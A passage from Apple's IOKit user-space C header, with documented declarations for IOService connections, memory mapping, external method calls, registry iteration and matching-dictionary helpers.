@result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */
kern_return_t
IOServiceWaitQuiet(
io_service_t service,
mach_timespec_t * waitTime );
/*! @function IOKitGetBusyState
@abstract Returns the busyState of all IOServices.
@discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. IOKitGetBusyState returns the busy state of the root of the service plane which reflects the busy state of all IOServices.
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@param busyState The busyState count is returned.
@result A kern_return_t error code. */
kern_return_t
IOKitGetBusyState(
mach_port_t masterPort,
uint32_t * busyState );
/*! @function IOKitWaitQuiet
@abstract Wait for a all IOServices' busyState to be zero.
@discussion Blocks the caller until all IOServices are non busy, see IOKitGetBusyState.
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@param waitTime Specifies a maximum time to wait.
@result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */
kern_return_t
IOKitWaitQuiet(
mach_port_t masterPort,
mach_timespec_t * waitTime );
/*! @function IOServiceOpen
@abstract A request to create a connection to an IOService.
@discussion A non kernel client may request a connection be opened via the IOServiceOpen() library function, which will call IOService::newUserClient in the kernel. The rules & capabilities of user level clients are family dependent, the default IOService implementation returns kIOReturnUnsupported.
@param service The IOService object to open a connection to, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs.
@param owningTask The mach task requesting the connection.
@param type A constant specifying the type of connection to be created, interpreted only by the IOService's family.
@param connect An io_connect_t handle is returned on success, to be used with the IOConnectXXX APIs. It should be destroyed with IOServiceClose().
@result A return code generated by IOService::newUserClient. */
kern_return_t
IOServiceOpen(
io_service_t service,
task_port_t owningTask,
uint32_t type,
io_connect_t * connect );
/*! @function IOServiceRequestProbe
@abstract A request to rescan a bus for device changes.
@discussion A non kernel client may request a bus or controller rescan for added or removed devices, if the bus family does automatically notice such changes. For example, SCSI bus controllers do not notice device changes. The implementation of this routine is family dependent, and the default IOService implementation returns kIOReturnUnsupported.
@param service The IOService object to request a rescan, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs.
@param options An options mask, interpreted only by the IOService's family.
@result A return code generated by IOService::requestProbe. */
kern_return_t
IOServiceRequestProbe(
io_service_t service,
uint32_t options );
// options for IOServiceAuthorize()
enum {
kIOServiceInteractionAllowed = 0x00000001
};
/*! @function IOServiceAuthorize
@abstract Authorize access to an IOService.
@discussion Determine whether this application is authorized to invoke IOServiceOpen() for a given IOService, either by confirming that it has been previously authorized by the user, or by soliciting the console user.
@param service The IOService object to be authorized, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs.
@param options kIOServiceInteractionAllowed may be set to permit user interaction, if required.
@result kIOReturnSuccess if the IOService is authorized, kIOReturnNotPermitted if the IOService is not authorized. */
kern_return_t
IOServiceAuthorize(
io_service_t service,
uint32_t options );
int
IOServiceOpenAsFileDescriptor(
io_service_t service,
int oflag );
/* * * * * * * * * * * * * * *ff * * * * * * * * * * * * * * * * * * * * * * */
/*
* IOService connection
*/
/*! @function IOServiceClose
@abstract Close a connection to an IOService and destroy the connect handle.
@discussion A connection created with the IOServiceOpen should be closed when the connection is no longer to be used with IOServiceClose.
@param connect The connect handle created by IOServiceOpen. It will be destroyed by this function, and should not be released with IOObjectRelease.
@result A kern_return_t error code. */
kern_return_t
IOServiceClose(
io_connect_t connect );
/*! @function IOConnectAddRef
@abstract Adds a reference to the connect handle.
@discussion Adds a reference to the connect handle.
@param connect The connect handle created by IOServiceOpen.
@result A kern_return_t error code. */
kern_return_t
IOConnectAddRef(
io_connect_t connect );
/*! @function IOConnectRelease
@abstract Remove a reference to the connect handle.
@discussion Removes a reference to the connect handle. If the last reference is removed an implicit IOServiceClose is performed.
@param connect The connect handle created by IOServiceOpen.
@result A kern_return_t error code. */
kern_return_t
IOConnectRelease(
io_connect_t connect );
/*! @function IOConnectGetService
@abstract Returns the IOService a connect handle was opened on.
@discussion Finds the service object a connection was opened on.
@param connect The connect handle created by IOServiceOpen.
@param service On succes, the service handle the connection was opened on, which should be released with IOObjectRelease.
@result A kern_return_t error code. */
kern_return_t
IOConnectGetService(
io_connect_t connect,
io_service_t * service );
/*! @function IOConnectSetNotificationPort
@abstract Set a port to receive family specific notifications.
@discussion This is a generic method to pass a mach port send right to be be used by family specific notifications.
@param connect The connect handle created by IOServiceOpen.
@param type The type of notification requested, not interpreted by IOKit and family defined.
@param port The port to which to send notifications.
@param reference Some families may support passing a reference parameter for the callers use with the notification.
@result A kern_return_t error code. */
kern_return_t
IOConnectSetNotificationPort(
io_connect_t connect,
uint32_t type,
mach_port_t port,
uintptr_t reference );
/*! @function IOConnectMapMemory
@abstract Map hardware or shared memory into the caller's task.
@discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller.
@param connect The connect handle created by IOServiceOpen.
@param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings.
@param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection.
@param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess.
@param ofSize The size of the mapping created is passed back on success.
@result A kern_return_t error code. */
#if !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6)
kern_return_t
IOConnectMapMemory(
io_connect_t connect,
uint32_t memoryType,
task_port_t intoTask,
vm_address_t *atAddress,
vm_size_t *ofSize,
IOOptionBits options );
#else
kern_return_t
IOConnectMapMemory(
io_connect_t connect,
uint32_t memoryType,
task_port_t intoTask,
mach_vm_address_t *atAddress,
mach_vm_size_t *ofSize,
IOOptionBits options );
#endif /* !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) */
/*! @function IOConnectMapMemory64
@abstract Map hardware or shared memory into the caller's task.
@discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller.
@param connect The connect handle created by IOServiceOpen.
@param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings.
@param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection.
@param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess.
@param ofSize The size of the mapping created is passed back on success.
@result A kern_return_t error code. */
kern_return_t IOConnectMapMemory64(
io_connect_t connect,
uint32_t memoryType,
task_port_t intoTask,
mach_vm_address_t *atAddress,
mach_vm_size_t *ofSize,
IOOptionBits options );
/*! @function IOConnectUnmapMemory
@abstract Remove a mapping made with IOConnectMapMemory.
@discussion This is a generic method to remove a mapping in the callers task.
@param connect The connect handle created by IOServiceOpen.
@param memoryType The memory type originally requested in IOConnectMapMemory.
@param fromTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection.
@param atAddress The address of the mapping to be removed.
@result A kern_return_t error code. */
#if !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6)
kern_return_t
IOConnectUnmapMemory(
io_connect_t connect,
uint32_t memoryType,
task_port_t fromTask,
vm_address_t atAddress );
#else
kern_return_t
IOConnectUnmapMemory(
io_connect_t connect,
uint32_t memoryType,
task_port_t fromTask,
mach_vm_address_t atAddress );
#endif /* !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) */
/*! @function IOConnectUnmapMemory64
@abstract Remove a mapping made with IOConnectMapMemory64.
@discussion This is a generic method to remove a mapping in the callers task.
@param connect The connect handle created by IOServiceOpen.
@param memoryType The memory type originally requested in IOConnectMapMemory.
@param fromTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection.
@param atAddress The address of the mapping to be removed.
@result A kern_return_t error code. */
kern_return_t IOConnectUnmapMemory64(
io_connect_t connect,
uint32_t memoryType,
task_port_t fromTask,
mach_vm_address_t atAddress );
/*! @function IOConnectSetCFProperties
@abstract Set CF container based properties on a connection.
@discussion This is a generic method to pass a CF container of properties to the connection. The properties are interpreted by the family and commonly represent configuration settings, but may be interpreted as anything.
@param connect The connect handle created by IOServiceOpen.
@param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects.
@result A kern_return_t error code returned by the family. */
kern_return_t
IOConnectSetCFProperties(
io_connect_t connect,
CFTypeRef properties );
/*! @function IOConnectSetCFProperty
@abstract Set a CF container based property on a connection.
@discussion This is a generic method to pass a CF property to the connection. The property is interpreted by the family and commonly represent configuration settings, but may be interpreted as anything.
@param connect The connect handle created by IOServiceOpen.
@param propertyName The name of the property as a CFString.
@param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects.
@result A kern_return_t error code returned by the object. */
kern_return_t
IOConnectSetCFProperty(
io_connect_t connect,
CFStringRef propertyName,
CFTypeRef property );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
// Combined LP64 & ILP32 Extended IOUserClient::externalMethod
kern_return_t
IOConnectCallMethod(
mach_port_t connection, // In
uint32_t selector, // In
const uint64_t *input, // In
uint32_t inputCnt, // In
const void *inputStruct, // In
size_t inputStructCnt, // In
uint64_t *output, // Out
uint32_t *outputCnt, // In/Out
void *outputStruct, // Out
size_t *outputStructCnt) // In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
kern_return_t
IOConnectCallAsyncMethod(
mach_port_t connection, // In
uint32_t selector, // In
mach_port_t wake_port, // In
uint64_t *reference, // In
uint32_t referenceCnt, // In
const uint64_t *input, // In
uint32_t inputCnt, // In
const void *inputStruct, // In
size_t inputStructCnt, // In
uint64_t *output, // Out
uint32_t *outputCnt, // In/Out
void *outputStruct, // Out
size_t *outputStructCnt) // In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
kern_return_t
IOConnectCallStructMethod(
mach_port_t connection, // In
uint32_t selector, // In
const void *inputStruct, // In
size_t inputStructCnt, // In
void *outputStruct, // Out
size_t *outputStructCnt) // In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
kern_return_t
IOConnectCallAsyncStructMethod(
mach_port_t connection, // In
uint32_t selector, // In
mach_port_t wake_port, // In
uint64_t *reference, // In
uint32_t referenceCnt, // In
const void *inputStruct, // In
size_t inputStructCnt, // In
void *outputStruct, // Out
size_t *outputStructCnt) // In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
kern_return_t
IOConnectCallScalarMethod(
mach_port_t connection, // In
uint32_t selector, // In
const uint64_t *input, // In
uint32_t inputCnt, // In
uint64_t *output, // Out
uint32_t *outputCnt) // In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
kern_return_t
IOConnectCallAsyncScalarMethod(
mach_port_t connection, // In
uint32_t selector, // In
mach_port_t wake_port, // In
uint64_t *reference, // In
uint32_t referenceCnt, // In
const uint64_t *input, // In
uint32_t inputCnt, // In
uint64_t *output, // Out
uint32_t *outputCnt) // In/Out
AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
kern_return_t
IOConnectTrap0(io_connect_t connect,
uint32_t index );
kern_return_t
IOConnectTrap1(io_connect_t connect,
uint32_t index,
uintptr_t p1 );
kern_return_t
IOConnectTrap2(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2);
kern_return_t
IOConnectTrap3(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2,
uintptr_t p3);
kern_return_t
IOConnectTrap4(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2,
uintptr_t p3,
uintptr_t p4);
kern_return_t
IOConnectTrap5(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2,
uintptr_t p3,
uintptr_t p4,
uintptr_t p5);
kern_return_t
IOConnectTrap6(io_connect_t connect,
uint32_t index,
uintptr_t p1,
uintptr_t p2,
uintptr_t p3,
uintptr_t p4,
uintptr_t p5,
uintptr_t p6);
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*! @function IOConnectAddClient
@abstract Inform a connection of a second connection.
@discussion This is a generic method to inform a family connection of a second connection, and is rarely used.
@param connect The connect handle created by IOServiceOpen.
@param client Another connect handle created by IOServiceOpen.
@result A kern_return_t error code returned by the family. */
kern_return_t
IOConnectAddClient(
io_connect_t connect,
io_connect_t client );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* IORegistry accessors
*/
/*! @function IORegistryGetRootEntry
@abstract Return a handle to the registry root.
@discussion This method provides an accessor to the root of the registry for the machine. The root may be passed to a registry iterator when iterating a plane, and contains properties that describe the available planes, and diagnostic information for IOKit.
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@result A handle to the IORegistryEntry root instance, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */
io_registry_entry_t
IORegistryGetRootEntry(
mach_port_t masterPort );
/*! @function IORegistryEntryFromPath
@abstract Looks up a registry entry by path.
@discussion This function parses paths to lookup registry entries. The path should begin with '<plane name>:' If there are characters remaining unparsed after an entry has been looked up, this is considered an invalid lookup. Paths are further documented in IORegistryEntry.h
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@param path A C-string path.
@result A handle to the IORegistryEntry witch was found with the path, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */
io_registry_entry_t
IORegistryEntryFromPath(
mach_port_t masterPort,
const io_string_t path );
/*! @function IORegistryEntryFromPathCFString
@abstract Looks up a registry entry by path.
@discussion This function parses paths to lookup registry entries. The path should begin with '<plane name>:' If there are characters remaining unparsed after an entry has been looked up, this is considered an invalid lookup. Paths are further documented in IORegistryEntry.h
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@param path A CFString path.
@result A handle to the IORegistryEntry witch was found with the path, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */
io_registry_entry_t
IORegistryEntryCopyFromPath(
mach_port_t masterPort,
CFStringRef path )
#if defined(__MAC_10_11)
__OSX_AVAILABLE_STARTING(__MAC_10_11, __IPHONE_9_0)
#endif
;
// options for IORegistryCreateIterator(), IORegistryEntryCreateIterator, IORegistryEntrySearchCFProperty()
enum {
kIORegistryIterateRecursively = 0x00000001,
kIORegistryIterateParents = 0x00000002
};
/*! @function IORegistryCreateIterator
@abstract Create an iterator rooted at the registry root.
@discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children of the registry root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops.
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator.
@param iterator A created iterator handle, to be released by the caller when it has finished with it.
@result A kern_return_t error code. */
kern_return_t
IORegistryCreateIterator(
mach_port_t masterPort,
const io_name_t plane,
IOOptionBits options,
io_iterator_t * iterator );
/*! @function IORegistryEntryCreateIterator
@abstract Create an iterator rooted at a given registry entry.
@discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children or parents of a root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops.
@param entry The root entry to begin the iteration at.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. kIORegistryIterateParents may be set to iterate the parents of each entry, by default the children are iterated.
@param iterator A created iterator handle, to be released by the caller when it has finished with it.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryCreateIterator(
io_registry_entry_t entry,
const io_name_t plane,
IOOptionBits options,
io_iterator_t * iterator );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* IORegistryIterator, subclass of IOIterator
*/
/*! @function IORegistryIteratorEnterEntry
@abstract Recurse into the current entry in the registry iteration.
@discussion This method makes the current entry, ie. the last entry returned by IOIteratorNext, the root in a new level of recursion.
@result A kern_return_t error code. */
kern_return_t
IORegistryIteratorEnterEntry(
io_iterator_t iterator );
/*! @function IORegistryIteratorExitEntry
@abstract Exits a level of recursion, restoring the current entry.
@discussion This method undoes an IORegistryIteratorEnterEntry, restoring the current entry. If there are no more levels of recursion to exit false is returned, otherwise true is returned.
@result kIOReturnSuccess if a level of recursion was undone, kIOReturnNoDevice if no recursive levels are left in the iteration. */
kern_return_t
IORegistryIteratorExitEntry(
io_iterator_t iterator );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* IORegistryEntry, subclass of IOObject
*/
/*! @function IORegistryEntryGetName
@abstract Returns a C-string name assigned to a registry entry.
@discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's global name. The global name defaults to the entry's meta class name if it has not been named.
@param entry The registry entry handle whose name to look up.
@param name The caller's buffer to receive the name.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryGetName(
io_registry_entry_t entry,
io_name_t name );
/*! @function IORegistryEntryGetNameInPlane
@abstract Returns a C-string name assigned to a registry entry, in a specified plane.
@discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's name in the specified plane or global name if it has not been named in that plane. The global name defaults to the entry's meta class name if it has not been named.
@param entry The registry entry handle whose name to look up.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param name The caller's buffer to receive the name.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryGetNameInPlane(
io_registry_entry_t entry,
const io_name_t plane,
io_name_t name );
/*! @function IORegistryEntryGetLocationInPlane
@abstract Returns a C-string location assigned to a registry entry, in a specified plane.
@discussion Registry entries can given a location string in a particular plane, or globally. If the entry has had a location set in the specified plane that location string will be returned, otherwise the global location string is returned. If no global location string has been set, an error is returned.
@param entry The registry entry handle whose name to look up.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param location The caller's buffer to receive the location string.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryGetLocationInPlane(
io_registry_entry_t entry,
const io_name_t plane,
io_name_t location );
/*! @function IORegistryEntryGetPath
@abstract Create a path for a registry entry.
@discussion The path for a registry entry is copied to the caller's buffer. The path describes the entry's attachment in a particular plane, which must be specified. The path begins with the plane name followed by a colon, and then followed by '/' separated path components for each of the entries between the root and the registry entry. An alias may also exist for the entry, and will be returned if available.
@param entry The registry entry handle whose path to look up.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param path A char buffer allocated by the caller.
@result IORegistryEntryGetPath will fail if the entry is not attached in the plane, or if the buffer is not large enough to contain the path. */
kern_return_t
IORegistryEntryGetPath(
io_registry_entry_t entry,
const io_name_t plane,
io_string_t path );
/*! @function IORegistryEntryCopyPath
@abstract Create a path for a registry entry.
@discussion The path for a registry entry is returned as a CFString The path describes the entry's attachment in a particular plane, which must be specified. The path begins with the plane name followed by a colon, and then followed by '/' separated path components for each of the entries between the root and the registry entry. An alias may also exist for the entry, and will be returned if available.
@param entry The registry entry handle whose path to look up.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@result An instance of CFString on success, to be released by the caller. IORegistryEntryCopyPath will fail if the entry is not attached in the plane. */
CFStringRef
IORegistryEntryCopyPath(
io_registry_entry_t entry,
const io_name_t plane)
#if defined(__MAC_10_11)
__OSX_AVAILABLE_STARTING(__MAC_10_11, __IPHONE_9_0)
#endif
;
/*! @function IORegistryEntryGetRegistryEntryID
@abstract Returns an ID for the registry entry that is global to all tasks.
@discussion The entry ID returned by IORegistryEntryGetRegistryEntryID can be used to identify a registry entry across all tasks. A registry entry may be looked up by its entryID by creating a matching dictionary with IORegistryEntryIDMatching() to be used with the IOKit matching functions. The ID is valid only until the machine reboots.
@param entry The registry entry handle whose ID to look up.
@param entryID The resulting ID.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryGetRegistryEntryID(
io_registry_entry_t entry,
uint64_t * entryID );
/*! @function IORegistryEntryCreateCFProperties
@abstract Create a CF dictionary representation of a registry entry's property table.
@discussion This function creates an instantaneous snapshot of a registry entry's property table, creating a CFDictionary analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts.
@param entry The registry entry handle whose property table to copy.
@param properties A CFDictionary is created and returned the caller on success. The caller should release with CFRelease.
@param allocator The CF allocator to use when creating the CF containers.
@param options No options are currently defined.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryCreateCFProperties(
io_registry_entry_t entry,
CFMutableDictionaryRef * properties,
CFAllocatorRef allocator,
IOOptionBits options );
/*! @function IORegistryEntryCreateCFProperty
@abstract Create a CF representation of a registry entry's property.
@discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts.
@param entry The registry entry handle whose property to copy.
@param key A CFString specifying the property name.
@param allocator The CF allocator to use when creating the CF container.
@param options No options are currently defined.
@result A CF container is created and returned the caller on success. The caller should release with CFRelease. */
CFTypeRef
IORegistryEntryCreateCFProperty(
io_registry_entry_t entry,
CFStringRef key,
CFAllocatorRef allocator,
IOOptionBits options );
/*! @function IORegistryEntrySearchCFProperty
@abstract Create a CF representation of a registry entry's property.
@discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts.
This function will search for a property, starting first with specified registry entry's property table, then iterating recusively through either the parent registry entries or the child registry entries of this entry. Once the first occurrence is found, it will lookup and return the value of the property, using the same semantics as IORegistryEntryCreateCFProperty. The iteration keeps track of entries that have been recursed into previously to avoid loops.
@param entry The registry entry at which to start the search.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param key A CFString specifying the property name.
@param allocator The CF allocator to use when creating the CF container.
@param options kIORegistryIterateRecursively may be set to recurse automatically into the registry hierarchy. Without this option, this method degenerates into the standard IORegistryEntryCreateCFProperty() call. kIORegistryIterateParents may be set to iterate the parents of the entry, in place of the children.
@result A CF container is created and returned the caller on success. The caller should release with CFRelease. */
CFTypeRef
IORegistryEntrySearchCFProperty(
io_registry_entry_t entry,
const io_name_t plane,
CFStringRef key,
CFAllocatorRef allocator,
IOOptionBits options ) CF_RETURNS_RETAINED;
/* @function IORegistryEntryGetProperty - deprecated,
use IORegistryEntryCreateCFProperty */
kern_return_t
IORegistryEntryGetProperty(
io_registry_entry_t entry,
const io_name_t propertyName,
io_struct_inband_t buffer,
uint32_t * size );
/*! @function IORegistryEntrySetCFProperties
@abstract Set CF container based properties in a registry entry.
@discussion This is a generic method to pass a CF container of properties to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperties for connection based property setting. The properties are interpreted by the object.
@param entry The registry entry whose properties to set.
@param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects.
@result A kern_return_t error code returned by the object. */
kern_return_t
IORegistryEntrySetCFProperties(
io_registry_entry_t entry,
CFTypeRef properties );
/*! @function IORegistryEntrySetCFProperty
@abstract Set a CF container based property in a registry entry.
@discussion This is a generic method to pass a CF container as a property to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperty for connection based property setting. The property is interpreted by the object.
@param entry The registry entry whose property to set.
@param propertyName The name of the property as a CFString.
@param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects.
@result A kern_return_t error code returned by the object. */
kern_return_t
IORegistryEntrySetCFProperty(
io_registry_entry_t entry,
CFStringRef propertyName,
CFTypeRef property );
/*! @function IORegistryEntryGetChildIterator
@abstract Returns an iterator over an registry entry's child entries in a plane.
@discussion This method creates an iterator which will return each of a registry entry's child entries in a specified plane.
@param entry The registry entry whose children to iterate over.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param iterator The created iterator over the children of the entry, on success. The iterator must be released when the iteration is finished.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryGetChildIterator(
io_registry_entry_t entry,
const io_name_t plane,
io_iterator_t * iterator );
/*! @function IORegistryEntryGetChildEntry
@abstract Returns the first child of a registry entry in a plane.
@discussion This function will return the child which first attached to a registry entry in a plane.
@param entry The registry entry whose child to look up.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param child The first child of the registry entry, on success. The child must be released by the caller.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryGetChildEntry(
io_registry_entry_t entry,
const io_name_t plane,
io_registry_entry_t * child );
/*! @function IORegistryEntryGetParentIterator
@abstract Returns an iterator over an registry entry's parent entries in a plane.
@discussion This method creates an iterator which will return each of a registry entry's parent entries in a specified plane.
@param entry The registry entry whose parents to iterate over.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param iterator The created iterator over the parents of the entry, on success. The iterator must be released when the iteration is finished.
@result A kern_return_t error. */
kern_return_t
IORegistryEntryGetParentIterator(
io_registry_entry_t entry,
const io_name_t plane,
io_iterator_t * iterator );
/*! @function IORegistryEntryGetParentEntry
@abstract Returns the first parent of a registry entry in a plane.
@discussion This function will return the parent to which the registry entry was first attached in a plane.
@param entry The registry entry whose parent to look up.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@param parent The first parent of the registry entry, on success. The parent must be released by the caller.
@result A kern_return_t error code. */
kern_return_t
IORegistryEntryGetParentEntry(
io_registry_entry_t entry,
const io_name_t plane,
io_registry_entry_t * parent );
/*! @function IORegistryEntryInPlane
@abstract Determines if the registry entry is attached in a plane.
@discussion This method determines if the entry is attached in a plane to any other entry.
@param entry The registry entry.
@param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane.
@result If the entry has a parent in the plane, true is returned, otherwise false is returned. */
boolean_t
IORegistryEntryInPlane(
io_registry_entry_t entry,
const io_name_t plane );
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* Matching dictionary creation helpers
*/
/*! @function IOServiceMatching
@abstract Create a matching dictionary that specifies an IOService class match.
@discussion A very common matching criteria for IOService is based on its class. IOServiceMatching will create a matching dictionary that specifies any IOService of a class, or its subclasses. The class is specified by C-string name.
@param name The class name, as a const C-string. Class matching is successful on IOService's of this class or any subclass.
@result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */
CFMutableDictionaryRef
IOServiceMatching(
const char * name ) CF_RETURNS_RETAINED;
/*! @function IOServiceNameMatching
@abstract Create a matching dictionary that specifies an IOService name match.
@discussion A common matching criteria for IOService is based on its name. IOServiceNameMatching will create a matching dictionary that specifies an IOService with a given name. Some IOServices created from the device tree will perform name matching on the standard compatible, name, model properties.
@param name The IOService name, as a const C-string.
@result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */
CFMutableDictionaryRef
IOServiceNameMatching(
const char * name ) CF_RETURNS_RETAINED;
/*! @function IOBSDNameMatching
@abstract Create a matching dictionary that specifies an IOService match based on BSD device name.
@discussion IOServices that represent BSD devices have an associated BSD name. This function creates a matching dictionary that will match IOService's with a given BSD name.
@param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port.
@param options No options are currently defined.
@param bsdName The BSD name, as a const char *.
@result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */
CFMutableDictionaryRef
IOBSDNameMatching(
mach_port_t masterPort,
uint32_t options,
const char * bsdName ) CF_RETURNS_RETAINED;
CFMutableDictionaryRef
IOOpenFirmwarePathMatching(
mach_port_t masterPort,
uint32_t options,
const char * path ) DEPRECATED_ATTRIBUTE;
/*! @function IORegistryEntryIDMatching
@abstract Create a matching dictionary that specifies an IOService match based on a registry entry ID.
@discussion This function creates a matching dictionary that will match a registered, active IOService found with the given registry entry ID. The entry ID for a registry entry is returned by IORegistryEntryGetRegistryEntryID().
@param entryID The registry entry ID to be found.
